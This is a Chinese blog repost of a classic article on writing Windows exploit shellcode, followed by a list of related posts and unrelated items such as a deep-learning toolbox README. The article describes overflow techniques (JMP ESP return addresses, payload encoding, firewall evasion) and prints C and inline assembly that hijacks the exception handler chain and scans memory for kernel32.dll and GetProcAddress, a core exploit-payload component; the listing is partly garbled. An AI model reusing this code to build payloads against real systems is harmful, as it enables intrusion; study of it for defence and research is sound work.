WINDOWS的SHELLCODE编写高级技巧

Shellcode手工编写与自动化工具对比:从汇编原理到实战应用 Shellcode作为一段不依赖外部库、可直接在内存中执行的机器码,是安全研究、渗透测试和漏洞利用中的核心概念。其原理在于通过精心构造的指令序列,直接调用操作系统内核功能,实现进程控制、权限提升等目标。这种技术价值在于能够绕过传统安全防护机制,在受限环境中执行任意代码。在应用场景上,Shellcode广泛用于渗透测试、红蓝对抗、漏洞利用开发和恶意软件分析。无论是追求极致精简和可控性的手工编写,还是注重功能集成和工程化的自动化工具生成,都需要深入理解系统调用、内存布局和指令集架构。本文聚焦于Shellcode 阅读详情

WINDOWS的SHELLCODE编写高级技巧

?

作者:yuange (mailto:yuange@nsfocus.com)

主页:http://www.nsfocus.com/

?

????unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出

再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比

较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET

连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80

规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写

WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

?

????经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。

????1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出

????点大致范围就可以了。

????2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP

????ESP功能的指令地址就可以定位了。

????3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 ?C3,或者FF E4

????、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

?

????4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

?

????5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解

????码,这样编写SHELLCODE就可以不用考虑特殊字符了。

????6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

?

????下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用

GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个

API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里

面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和

GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在

内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要

是增加异常结构处理 。下面是VC6.0程序代码:

?

void shellcodefn()

{

???int ????????*except[3];

???FARPROC ????procgetadd=0;

???char ???????*stradd;

???int ????????imgbase,fnbase,i,k,l;

???HANDLE ?????libhandle;

???_asm {

?????jmp ?????????nextcall

?????getstradd: ??pop ???stradd

??????????????????lea ???EDI,except

????????????mov ???eax,dword ptr FS:[0]

????????????mov ???dword ptr [edi+0x08],eax

????????????mov ???dword ptr FS:[0],EDI

????}

????except[0]=0xffffffff;

????except[1]=stradd-0x07;

/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

?

????imgbase=0x77e00000;

/* 搜索KERNEL32.DLL 的起始其实地址 */

?

?????????call getexceptretadd

???}

/* 得到异常后的返回地址 */

???for(;imgbase<0xbffa0000,procgetadd==0;){

???????imgbase+=0x10000;

/* ?模块地址是64K为单位,加快速度*/

???????if(imgbase==0x78000000) imgbase=0xbff00000;

/* ?如果到这还没有搜索到,那可能是WIN9X系统 */

???????if(*( WORD *)imgbase=='ZM'&& *(WORD *)

???????(imgbase+*(int *)(imgbase+0x3c))=='EP'){

/* 模块结构的模块头 */

?????????fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;

?????????k=*(int *)(fnbase+0xc)+imgbase;

?????????if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){

/* 模块名 */

?????????????libhandle=imgbase;

/* 得到模块头地址,就是模块句柄 */

?????????????k=imgbase+*(int *)(fnbase+0x20);

?????????????for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){

???????????????????if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){

/* 引出名 */

???????????????????k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));

???????????????????k+=*(int *)(fnbase+0x10)-1;

???????????????????k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));

???????????????????procgetadd=k+imgbase;

/* API地址 */

???????????????????break;

?????????????}

??????????}

????????}

????}

}

// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址

// 注意这儿处理了搜索页面不在情况。

?

???_asm{

???????lea edi,except

??????????mov eax,dword ptr [edi+0x08]

???????mov dword ptr fs:[0],eax

???}

/* 恢复异常结构链 */

?

?

if(procgetadd==0) goto ?die ;

/* 如果没找到GetProcAddress地址死循环 */

??die: goto die ?;

?

??_asm{

?

getexceptretadd: ??pop ?eax

?????????????push eax

?????????????mov ?edi,dword ptr [stradd]

?????????????mov dword ptr [edi-0x0e],eax

?????????????ret

/* 得到异常后的返回地址,并填写到异常处理模块 */

?

/* 异常处理模块 */

errprogram: ????????mov eax,dword ptr [esp+0x0c]

?????????????add eax,0xb8

?????????????mov dword ptr [eax],0x11223344 //stradd-0xe

/* 修改异常返回EIP指针 */

?????????????xor eax,eax ?????????????//2

/* 不提示异常 */

?????????????ret ?????????????????//1

/* 异常处理返回 */

execptprogram: ????jmp errprogram ?????????????//2 bytes stradd-7

nextcall: ?????????call getstradd ?????????????//5 bytes

???}

}

使用OffensiveNim实现Shellcode注入:从原理到高级规避技术 Shellcode注入是一种将可执行代码加载到目标进程内存并执行的核心技术,其原理在于通过操作系统的进程与内存管理API,在远程进程中分配内存、写入代码并创建执行线程。这项技术的价值在于它是实现权限维持、横向移动和绕过安全防护的基础手段,广泛应用于渗透测试、红队演练和恶意软件分析等场景。随着终端检测与响应(EDR)系统的普及,传统的注入方法如CreateRemoteThread面临严峻挑战,这促使了更高级的规避技术发展。本文聚焦于使用Nim语言及其OffensiveNim生态,深入探讨如何实现包括APC注入 阅读详情

相关推荐

Altium Designer学习---如何进行SI仿真

Altium designer 如何进行SI仿真。         1、仿真电路中需要至少一块集成电路;             2、器件的IBIS模型;              3、在规则中必须设定电源网络和地网络;              4、建立SI规则约束;              5、层堆栈必须设置正确,电源平面必须连续;     建立的文件必须是一个工程,并把相应的文件放在工程目...

weixin_34050519的博客 4902

【shellcode】Windows shellcode的理解与编写

虚拟内存空间 整个虚拟内存空间分为两个相关部分: 为用户进程预留的虚拟内存空间和为系统进程预留的虚拟内存空间。 每个进程都有自己的私有虚拟地址空间,其中“内核空间”是一种“共享环境”,意味着每个内核进程可以在任何它想要的地方读写虚拟内存。 其中: HEAP(堆) : 这是存储所有动态局部变量的地方。(通常alloc()或类似的系统调用) STACK(栈): 分配每个静态局部变量的位置。 RWX-Hunter执行: 搜索已被标记为读(R),写(W)和执行(X)的内存部分。 遍历进程的虚拟空间内存,搜索标记

dr0op's blog 1374

深入理解命名实体识别(NER)

命名实体识别(NER,Named Entity Recognition)是自然语言处理(NLP)中的一项重要技术,用于从文本中识别出特定类型的实体,并将这些实体分类到预定义的类别中。实体通常包括人名、地名、组织名、日期、时间、数量、货币等。例如,在句子“Barack Obama was born in Hawaii in 1961”中,NER任务的目标是识别“Barack Obama”作为人名,“Hawaii”作为地名,以及“1961”作为日期。

AngelCryToo的专栏 4638

Hook ZwQueryInformationProcess 函数使得异常处理可以在shellcode上执行

32位系统上当你的shellcode有使用 __try __except 进行处理时,系统最终会调用RtlIsValidHandler来判断异常处理函数是否有效,如果你希望处理异常 应该是HookRtlIsValidHandler,可是微软没有导出这个接口 于是我们逆向看看RtlIsValidHandler 发现它会判断ZwQueryInformationProcess的返回值,...

lif12345的专栏 1910

【SAP PO】SAP PO 接口配置完整教程之二REST服务对接

SAP PO 接口配置完整教程之二REST服务对接

XLevon的博客 1万+

TwinCAT3 Modbus-TCP Client/Server使用

/起始地址是12289//起始地址是12294。

panjinliang066333的博客 7733

windows下shellcode编写入门

本文简要介绍shellcode开发技术及其特点。理解这些概念可以有助于我们编写自己的shellcode。更进一步讲,你可以修改现有的漏洞利用代码来执行自己所需要的定制功能。

x_nirvana的博客 1万+

FPGA+滨淞CCD实战:手把手教你搭建S7031/S10142成像电路(附避坑指南)

本文详细介绍了使用FPGA驱动滨淞CCD传感器(S7031/S10142)构建高精度成像系统的完整实战流程。内容涵盖核心器件选型、系统架构规划、电路板(焦面板与接口板)设计要点、FPGA Verilog逻辑实现,并提供了从电源管理、信号调理到数据采集的详细避坑指南,帮助读者从零搭建稳定可靠的成像电路。

weixin_29271263的博客 227

Windows Shellcode开发[1]

0 前言 本文包含对shellcode开发技术及其特点的概述,了解了这些概念我们就可以编写自己的shellcode,而且我们还可以修改现有漏洞的shellcode来执行我们自定义的功能。 1 Shellcode介绍 维基百科中对shellcoed的介绍: “在计算机安全中,shellcode 是一小段代码,用作利用软件漏洞的有效载荷。之所以称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从中控制受感染的机器,但任何执行类似任务的代码都可以称为 shellcode……She

weixin_41487541的博客 676

Dify 第 19 篇 手把手教你开发 Dify 插件:从零实现一个时间工具

本文介绍了Dify平台的插件开发机制和流程。Dify支持多种插件类型,包括模型、工具、数据源等,可通过CLI工具快速开发插件。文章详细讲解了如何安装Dify CLI工具,并演示了从零开发一个获取系统时间插件的完整过程,包括项目初始化、文件解读和打包部署。通过该教程,开发者可以快速掌握Dify插件开发的核心要点,实现自定义功能扩展。

甘蓝的专栏 2447

《网络信息制作与发布》实训全流程:从专题策划、网站构建到前端实现与上线发布

本文详细介绍了WEB设计专题网站从策划到发布的全流程。主要内容包括:1.网络专题设计(确定主题、编写策划方案、素材搜集整理);2.网站结构构建(设计二级栏目、绘制布局图);3.艺术设计(配色方案、版式设计);4.网页制作(使用Dreamweaver进行标准化布局);5.信息发布(通过Dreamweaver和CuteFTP上传文件、网站维护与备份)。以"学习WEB设计"专题为例,采用框架结构,包含20余个栏目,使用深灰和蓝色为主色调。文章提供了完整的操作步骤和技术要点,适用于网站开发学习者

深耕计算机专业知识与技术。 1532

windows的shellcode编写高级技巧

windows的shellcode编写高级技巧-(2013/11/20) win2k缓冲区溢出入门-(2013/11/20) windows密码泄露漏洞分析-(2013/11/20) 理解win2k和nt4系统及进程活动-(2013/11/20) 理解wind2k和nt4系统及进程活动-(2013/11/20) win2000登陆漏洞初步解决方法-(2013/11/20) win9x系

q1q2q3q4ln的专栏-随我一起研究程序 844

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

堆栈溢出从入门到提高

转自:http://www.jiaonan.net/html/2007/06/20070624034620915.htm 入门篇 2007-6-24 15:46:20 本讲的预备知识: 首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面 的基础知识,有关这方面的计算机书籍非常多,我将仅仅是简单阐述原理,着重在应用。其次...

weixin_30371469的博客 124

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

堆栈溢出从入门到提高 (转载)

堆栈溢出从入门到提高 -------------------------------------------------------------------------------- 整理:阿新     有一些是在以前的文章里照搬的,希望作者不要介意 :P堆栈溢出系列讲座 入门篇 本讲的预备知识: 首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配

x_zj的专栏 1708

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

打造Windows下自己的ShellCode

打造Windows下自己的ShellCode 文/图 王炜/ww0830    为了帮助初学者了解ShellCode的编写,并能一步一步操作得到自己的ShellCode,因此将Windows下ShellCode的编写过程作详细的介绍,以利于像我一样的菜鸟,最终能够写出简单的但却是真实的ShellCode;而进一步高级的ShellCode的编写,也会在系列后面的文章中一步一步的演示的,希望大家会

P-Blog 3170

windows下shellcode高级编程

windows下shellcode高级编程黑森林 发表于 2005-10-29 22:26:00 网上关于Shellcode的文章不少,但对于windows环境下的讨论不是很多,经典的就更少了,这一篇应该不错,推荐给大家!(站长:黑森林整理)                    unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出再加载一个SHELL的办法得到ROOT

Civet148的专栏 2311

开源一个ShellCode生成框架

文章目录前言项目预览项目配置文件命名与作用ShellCode大小的计算方法第一部分 ShellCode生成第二部分 ShellCode部分ShellCode加载器如何提取ShellCode如何扩展ShellCode框架?参考资料项目下载 前言 现阶段,shellcode编写门槛高,大多需要有较深的汇编功底,而Metersploit上的Shellcode开源生成框架,功能单一,扩展性差,大多只能在d...

鬼手的博客 3286

Windows Shellcode学习笔记——通过VisualStudio生成shellcode

本文讲的是Windows Shellcode学习笔记——通过VisualStudio生成shellcode, 0x00 前言 shellcode是一段机器码,常用作漏洞利用中的载荷(也就是payload)。 在渗透测试中,最简单高效的方式是通过metasploit生成shellcode,然而在某些环境下,需要定制开发自己的shellcode,所以需要对...

weixin_33753003的博客 1905

搞木马免杀你必须要知道: 如何编写X86环境下的ShellCode!

想要学免杀,就一定要懂得如何处理shellcode, 现在很多的木马免杀操作都是用工具来处理的, 但这仅仅能绕过一小部分杀软, 一旦杀软更新病毒库, 脚本小子们就无招可施, 本篇文章将带领大家了解shellcode的原理及制作, 会后续的Shellcode免杀打下坚实基础

xf555er的博客 2559
上一篇: 关于Windows下ShellCode编写的一点思考
下一篇: window系统下的远程堆栈溢出 --《原理篇》
bmsdr
博客等级 码龄22年 11粉丝 65原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值